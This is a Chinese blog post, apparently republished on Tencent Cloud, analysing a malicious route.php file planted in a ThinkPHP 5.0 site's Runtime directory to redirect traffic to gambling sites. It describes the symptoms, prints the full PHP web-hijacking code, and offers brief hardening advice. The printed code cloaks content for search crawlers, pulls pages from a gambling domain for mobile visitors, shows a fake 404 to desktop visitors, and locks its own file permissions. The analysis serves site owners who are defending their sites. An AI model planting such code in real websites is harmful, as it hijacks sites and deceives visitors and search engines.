前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP 5.0 框架整站跳转菠菜(挂马)文件代码

ThinkPHP 5.0 框架整站跳转菠菜(挂马)文件代码

作者头像
二爷
发布2021-12-09 17:39:54
2.1K0
发布2021-12-09 17:39:54
举报
文章被收录于专栏:二爷记

ThinkPHP 是国内比较成熟,非常流行的php的web框架,免费开源,这些特性如同站长们最爱使用的织梦建站系统工具一样(dedecms)非常容易被挂马,跳转菠菜网站!

开源的特性意味着所有公开,如果维护程度没跟上,漏洞没有及时修补,总是最容易被盯上,尤其是有稍微那么一丝价值,有流量的web站点,毕竟总是有那么一些爱研究的高手,尤其是那些别有用心的选手!

挂马特征

  • 整站跳转!
  • PC端仅首页能访问,访问任何网页直接跳转报错404提示(缘由可看后面的分析及PHP挂马文件)!
  • 移动端头部被插入实时访问可更换菠菜站新闻列表栏目页,刷新一次更新一次(此手法非常利于百度收录更新),移动端链接点击跳转菠菜首页!

挂马分析

  • 挂马文件:route.php

经过查询获悉:route为ThinkPHP框架路由配置文件名!

thinkphp路由配置route.php

路由设置配置

打开route.php 引入Route控制器类(use think\Route;) 设置路由--》 Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

  • 挂马路径:Runtime/

在利用ThinkPHP生成的项目目录中就有一个Runtime目录,即项目运行时目录。

第一次运行时,如果没有开通app_debug会产生runtime.php文件,以后每次运行都会判断是否开启,并且是否有runtime文件,如果有则使用,没有则创建。

PS:至于为什么 route.php 文件为什么会上传到此处,该因 Runtime 此目录未被加锁,未防止篡改已整站加锁!

挂马文件代码

代码语言:javascript
复制
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($url) {
    $ch = curl_init();
    //设置选项,包括URL
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    //执行并获取HTML文档内容
    $output = curl_exec($ch);
    //释放curl句柄
    curl_close($ch);
    //打印获得的数据
    return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeablelai($file_name)
{
    @chmod($file_name, 0444);
}
@chmod(FILE, 0444);
set_writeablelai($filename1);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "https://www.菠菜域名.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url,

        ".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".gq")or

    $tr(url, ".html") or $tr(url, ".xlsx") and $tr(url, "?"));
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai("https://www.菠菜域名.com/x.php");
        ob_flush();
        flush();
    }
}
if (area){
    if (preg_match(mobile, ent)){
        $Content_mb=file_get_contents("http://www.菠菜域名.top/index.html");
        echo $Content_mb;
        exit;
    }else{
        http_response_code(404);
        echo "
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
";
        exit;
    }
}
?>

几点建议

  1. 任何时候都不建议暴露自己建站所使用的源码程序!
  2. 尽量使用能稳定更新的程序版本,有重大已知漏洞的开源框架尽量不用,或者使用更新更加稳定维护更新的版本号!

注意,

现在挂马带来的影响非常大,

尤其是对于在推广的胸低们来说!

你好,我是二大爷,

革命老区外出进城务工人员,

互联网非早期非专业站长,

喜好python,写作,阅读,英语

不入流程序,自媒体,seo . . .

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Python与SEO学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 挂马特征
  • 挂马分析
  • 挂马文件代码
  • 几点建议
相关产品与服务
网站建设
网站建设(Website Design Service,WDS),是帮助您快速搭建企业网站的服务。通过自助模板建站工具及专业设计服务,无需了解代码技术,即可自由拖拽模块,可视化完成网站管理。全功能管理后台操作方便,一次更新,数据多端同步,省时省心。使用网站建设服务,您无需维持技术和设计师团队,即可快速实现网站上线,达到企业数字化转型的目的。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档